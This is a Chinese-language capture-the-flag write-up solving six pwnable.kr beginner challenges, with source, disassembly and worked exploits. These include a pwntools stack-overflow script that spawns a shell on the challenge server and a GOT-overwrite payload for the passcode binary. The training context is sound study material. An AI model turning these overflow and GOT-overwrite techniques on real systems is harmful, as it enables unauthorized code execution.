pwnable[baby]
fd
连接到服务器后 ls 看一下有什么东西:
查看当前目录下的文件和目录(默认情况下,不显示隐藏文件):ls
显示所有文件,包括以.开头的隐藏文件:ls -a
显示文件的详细信息,包括权限、所有者、组、文件大小、修改日期等:ls -l
同时显示隐藏文件和详细信息:ls -al
d:表示该项是一个目录。如果是一个文件,此处会显示一个-代替。r: 表示读取权限。对于文件来说,如果有读取权限,则表示可以读取文件的内容。对于目录来说,如果有读取权限,则表示可以查看目录中的文件列表。w: 表示写入权限。对于文件来说,如果有写入权限,则表示可以编辑或修改文件。对于目录来说,如果有写入权限,则表示可以在目录中创建、删除和重命名文件。x: 表示执行权限。对于文件来说,如果有执行权限,则表示可以运行该文件(对于可执行程序)。对于目录来说,如果有执行权限,则表示可以通过该目录进入其子目录。
例如第一行中的"drwx r-x ---",表示该项是一个目录,权限位为 rwx,root用户对该目录具有读、写、执行权限;对于所属组(fd组),具有读、执行权限;其他用户没有任何权限。
作为 fd 用户,我们对于 flag 文件并无读写权限。我们可以 cat 看一下 fd.c 里有啥。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
运行该文件的同时需要再输入一个值作为命令行参数。
在Linux中,read() 函数用于从文件描述符(File Descriptor)中读取数据。文件描述符是一个非负整数,用于标识打开的文件或其他I/O资源。以下是常见的文件描述符的值:
- 标准输入(Standard Input):0
- 标准输出(Standard Output):1
- 标准错误(Standard Error):2
这些标准文件描述符通常与终端(或控制台)相关联。如果从标准输入读取数据,read() 函数的第一个参数应该设置为 0
因此,额外输入的那个数需要与 0x1234 相等,即 4660。
随后read函数读入字符串至缓冲区中,buf中的内容为 LETMEWIN 是执行 cat flag。
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
fd@pwnable:~$
collison
根据题目信息和 MD5 哈希有关。
查看 col.c 源码:
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
依旧是要在运行文件的时候添加一个命令行参数,且长度需为 20 字节。check_password函数将输入的20字节以四字节为一个单位分割得到 5 个 int 类型的整数并相加,使之等于 0x21DD09EC。
感觉这个只要随便凑就行了罢(
0x21DD09EC 对应 568,134,124,把它拆成四个整数再组合成20字节的数据。
168000000 ——> A037A00
100130000 ——> 5F7DCD0
100004000 ——> 5F5F0A0
100000120 ——> 5F5E178
100000004 ——> 5F5E104
将要输入的字符改为小端序,四个整数的顺序不重要。
\x00\x7A\x03\x0A\xD0\xDC\xF7\x05\xA0\xF0\xF5\x05\x78\xE1\xF5\x05\x04\xE1\xF5\x05
输进去看看,发现它识别不出来,这些十六进制也没法完全转换成 ASCII 字符串,根本凑不出来。
网上很多答案说可以用 python 直接操作内存,
输入以下命令:
col@pwnable:~$ ./col `python -c 'print "\x00\x7A\x03\x0A\xD0\xDC\xF7\x05\xA0\xF0\xF5\x05\x78\xE1\xF5\x05\x04\xE1\xF5\x05"'`
passcode length should be 20 bytes
感觉有可能是一开始那个 00 的问题,略作调整:
col@pwnable:~$ ./col `python -c 'print "\x01\x7A\x03\x0A\xD0\xDC\xF7\x05\xA0\xF0\xF5\x05\x78\xE1\xF5\x05\x03\xE1\xF5\x05"'`
passcode length should be 20 bytes
还是不行。但是 网友wp里的就能打通:
col@pwnable:~$ ./col `python -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'`
daddy! I just managed to create a hash collision :)
网友的凑法是把数加一后正好被五整除,最后一位减一即可
?明明思路上没什么问题(
而且感觉这题跟 MD5 没啥关系
bof

源码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

目标是使 key 等于 0xcafebabe 的判断成立,通过栈溢出实现。
错误的参数值 0xdeadbeef 是作为函数的参数先于用户输入的内容被放入栈中的,因此要算出错误参数值存放位置到输入内容的距离。
arg_0= dword ptr 8 代表当前函数的栈帧中,相对于栈底偏移量为 8 处的一个双字大小的变量,即 int key。
输入的字符串 s 的地址为 [ebp+s],s= byte ptr -2Ch
所求距离为 2C + 8 = 0x34(52)
直接覆盖原参数即可
exp:
from pwn import*
#p = process("./bof")
p = remote("pwnable.kr",9000)
payload = 52*'a' +p32(0xcafebabe)
p.sendlineafter("overflow me : ", payload)
p.interactive()
flag
一道 64 位的逆向题。
giantbranch@ubuntu:~/Desktop/pwnable/flag$ ./flag
I will malloc() and strcpy the flag there. take it.
查一下发现带一个 upx 壳。脱壳后可以正常进行逆向。
直接白给:UPX...? sounds like a delivery service 😃
passcode
passcode@pwnable:~$ ls -al
total 44
drwxr-x--- 5 root passcode 4096 Jul 2 2022 .
drwxr-xr-x 117 root root 4096 Nov 10 2022 ..
d--------- 2 root root 4096 Jun 26 2014 .bash_history
-r--r----- 1 root passcode_pwn 48 Jun 26 2014 flag
dr-xr-xr-x 2 root root 4096 Aug 20 2014 .irssi
-rw------- 1 root root 1287 Jul 2 2022 .mysql_history
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26 2014 passcode
-rw-r--r-- 1 root root 858 Jun 26 2014 passcode.c
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-rw------- 1 root root 581 Jul 2 2022 .viminfo
看起来可以直接用pwntools:
passcode@pwnable:~$ checksec passcode
[*] '/home/passcode/passcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看源码 passcode.c :
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
如果按部就班的输入会发生段错误。题目也提示该程序在编译时出现了警告,可以发现 scanf 的使用出错,导致输入的值无法被正确存储到变量对应的地址中去。程序把 passcode 变量的值当作地址,将输入存放到了错误的内存空间。直接输入的数字很可能不是一个有效地址,因此发生报错。
passcode@pwnable:~$ objdump -d passcode 查看汇编:
08048564 <login>:
8048564: 55 push %ebp
8048565: 89 e5 mov %esp,%ebp
8048567: 83 ec 28 sub $0x28,%esp ;开辟栈空间,这里大小为 40
804856a: b8 70 87 04 08 mov $0x8048770,%eax
804856f: 89 04 24 mov %eax,(%esp)
8048572: e8 a9 fe ff ff call 8048420 <printf@plt>
;打印栈顶(ESP)所指向的地址中的内容,这里打印0x8048770中的内容
8048577: b8 83 87 04 08 mov $0x8048783,%eax
804857c: 8b 55 f0 mov -0x10(%ebp),%edx ;存放 passcode1
804857f: 89 54 24 04 mov %edx,0x4(%esp) ;传递参数给下一个函数
8048583: 89 04 24 mov %eax,(%esp)
8048586: e8 15 ff ff ff call 80484a0 <__isoc99_scanf@plt>
804858b: a1 2c a0 04 08 mov 0x804a02c,%eax
8048590: 89 04 24 mov %eax,(%esp)
8048593: e8 98 fe ff ff call 8048430 <fflush@plt>
8048598: b8 86 87 04 08 mov $0x8048786,%eax
804859d: 89 04 24 mov %eax,(%esp)
80485a0: e8 7b fe ff ff call 8048420 <printf@plt>
80485a5: b8 83 87 04 08 mov $0x8048783,%eax
80485aa: 8b 55 f4 mov -0xc(%ebp),%edx ;存放 passcode2
80485ad: 89 54 24 04 mov %edx,0x4(%esp) ;传递给下一个函数
80485b1: 89 04 24 mov %eax,(%esp)
80485b4: e8 e7 fe ff ff call 80484a0 <__isoc99_scanf@plt>
80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp)
80485c0: e8 8b fe ff ff call 8048450 <puts@plt>
80485c5: 81 7d f0 e6 28 05 00 cmpl $0x528e6,-0x10(%ebp) ;比较,但是这里没用
80485cc: 75 23 jne 80485f1 <login+0x8d>
80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp)
80485d5: 75 1a jne 80485f1 <login+0x8d>
80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)
80485de: e8 6d fe ff ff call 8048450 <puts@plt>
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
80485ea: e8 71 fe ff ff call 8048460 <system@plt>
80485ef: c9 leave
80485f0: c3 ret
80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp)
80485f8: e8 53 fe ff ff call 8048450 <puts@plt>
80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048604: e8 77 fe ff ff call 8048480 <exit@plt>
08048609 <welcome>:
8048609: 55 push %ebp
804860a: 89 e5 mov %esp,%ebp
804860c: 81 ec 88 00 00 00 sub $0x88,%esp ;大小为136
8048612: 65 a1 14 00 00 00 mov %gs:0x14,%eax
8048618: 89 45 f4 mov %eax,-0xc(%ebp)
804861b: 31 c0 xor %eax,%eax
804861d: b8 cb 87 04 08 mov $0x80487cb,%eax
8048622: 89 04 24 mov %eax,(%esp)
8048625: e8 f6 fd ff ff call 8048420 <printf@plt>
804862a: b8 dd 87 04 08 mov $0x80487dd,%eax
804862f: 8d 55 90 lea -0x70(%ebp),%edx ;存放 name
8048632: 89 54 24 04 mov %edx,0x4(%esp)
8048636: 89 04 24 mov %eax,(%esp)
8048639: e8 62 fe ff ff call 80484a0 <__isoc99_scanf@plt>
804863e: b8 e3 87 04 08 mov $0x80487e3,%eax
8048643: 8d 55 90 lea -0x70(%ebp),%edx
8048646: 89 54 24 04 mov %edx,0x4(%esp)
804864a: 89 04 24 mov %eax,(%esp)
804864d: e8 ce fd ff ff call 8048420 <printf@plt>
8048652: 8b 45 f4 mov -0xc(%ebp),%eax
8048655: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
804865c: 74 05 je 8048663 <welcome+0x5a>
804865e: e8 dd fd ff ff call 8048440 <__stack_chk_fail@plt>
8048663: c9 leave
8048664: c3 ret
函数连续调用意味着栈底相同。因此 welcome 和 login 享有同一个 ebp。
-0x70(%ebp),%edx ;存放 name -112
-0x10(%ebp),%edx ;存放 passcode1 -16
-0xc(%ebp),%edx ;存放 passcode2 -12
因为 Canary found,正常情况下 name 最多输入 100,够不到passcode2,四个字节正好一个 int 位可以勉强将 passcode1 覆盖。
利用一个四字节覆盖,修改 GOT 表中 printf 的地址为系统调用的地址。
80485ea: e8 71 fe ff ff call 8048460 <system@plt>
PLT 表用于存储跳转指令,实现函数调用的延迟绑定;GOT 表用于存储全局变量和函数的地址,实现共享和重定位的功能。
scanf(程序系统调用的地址 , printf在got表中的地址)
先将 passcode1 的值改写为 printf 在 got 表中的地址,利用这个被错误使用的 scanf 将 printf 在 got 表中的实际地址改写为系统调用的地址。
输入完成后当程序开始执行 printf 时,自然而然跳转到 got 寻找它的真实地址,而此时真实地址已经被我们篡改。但程序依旧会正常执行。至此我们可以绕过 if 判断直接得到 flag。
查看 got 表(objdump -d -j .plt xxx 可以查看plt表),得到关键地址 0804a000:
passcode@pwnable:~$ objdump -R passcode
passcode: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
exp:
from pwn import *
context.log_level = 'info'
session = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)
p = session.process('./passcode')
printf = 0x0804a000
payload = 'a'*96 + p32(printf) + '\n' + '134514154\n'
output = p.recvall()
print(output)
网太卡了接收不到结果,直接用 python 则可以:
passcode@pwnable:~$ python -c "print 'a'*96+'\x04\xa0\x04\x08\n134514147\n'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
random
查看源码 random.c:
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
查看保护:
random@pwnable:~$ checksec random
[*] '/home/random/random'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看汇编:
00000000004005f4 <main>:
4005f4: 55 push %rbp
4005f5: 48 89 e5 mov %rsp,%rbp
4005f8: 48 83 ec 10 sub $0x10,%rsp ;初始化栈
4005fc: b8 00 00 00 00 mov $0x0,%eax
400601: e8 fa fe ff ff callq 400500 <rand@plt>
400606: 89 45 fc mov %eax,-0x4(%rbp) ;存储生成的随机数
400609: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%rbp)
400610: b8 60 07 40 00 mov $0x400760,%eax
400615: 48 8d 55 f8 lea -0x8(%rbp),%rdx
400619: 48 89 d6 mov %rdx,%rsi
40061c: 48 89 c7 mov %rax,%rdi
40061f: b8 00 00 00 00 mov $0x0,%eax
400624: e8 c7 fe ff ff callq 4004f0 <__isoc99_scanf@plt>
400629: 8b 45 f8 mov -0x8(%rbp),%eax ;存储 scanf 输入的值
40062c: 33 45 fc xor -0x4(%rbp),%eax ;取二者异或的结果
40062f: 3d ef be ad de cmp $0xdeadbeef,%eax
400634: 75 20 jne 400656 <main+0x62>
400636: bf 63 07 40 00 mov $0x400763,%edi
40063b: e8 80 fe ff ff callq 4004c0 <puts@plt>
400640: bf 69 07 40 00 mov $0x400769,%edi
400645: b8 00 00 00 00 mov $0x0,%eax
40064a: e8 81 fe ff ff callq 4004d0 <system@plt>
40064f: b8 00 00 00 00 mov $0x0,%eax
400654: eb 0f jmp 400665 <main+0x71>
400656: bf 78 07 40 00 mov $0x400778,%edi
40065b: e8 60 fe ff ff callq 4004c0 <puts@plt>
400660: b8 00 00 00 00 mov $0x0,%eax
400665: c9 leaveq
400666: c3 retq
400667: 90 nop
400668: 90 nop
随机数先入栈,那直接调试得到它的值就结束了。
因为没有srand,所以rand生成的随机数完全是固定的。自己写一个脚本在本地运行即可得到正确的随机数。
1804289383(0x6B8B 4567)去和 0xdeadbeef 异或即可得到正确输入。
>>> print(0x6B8B4567^0XDEADBEEF)
3039230856
直接运行输入即可得到flag。
random@pwnable:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
尝试在本地调试一下是否可行,直接编译源码在本地用 gdb 调试也可以得到随机数。

其实我一开始并没有看到程序生成的随机数其实是一个固定值。最初想到的是 scanf 处溢出覆盖 random 数值,凑出 0xdeadbeef 来通过 if 判断。因为 random 和 scanf 输入的无符号整数在栈上是相邻的。
xor_value = 0xdeadbeef
for a in range(0x23456789,0x23456789+5):
b = xor_value ^ a
if a != 0 and b != 0 and a ^ b == xor_value:
print(f"a: {a} (hex: {hex(a)}), b: {b} (hex: {hex(b)})")
# 取其中一对组合
# 0x2345678afde8d965
# 2541551411383556453
尝试用 gdb 调试会发现无法实现覆盖:

scanf 会根据指定的变量类型(无符号整数),自动取输入数值的后四个字节放入栈。
因此这个方法行不通。要通过 scanf 实现溢出,可能仅限于字符数组的情况。

浙公网安备 33010602011771号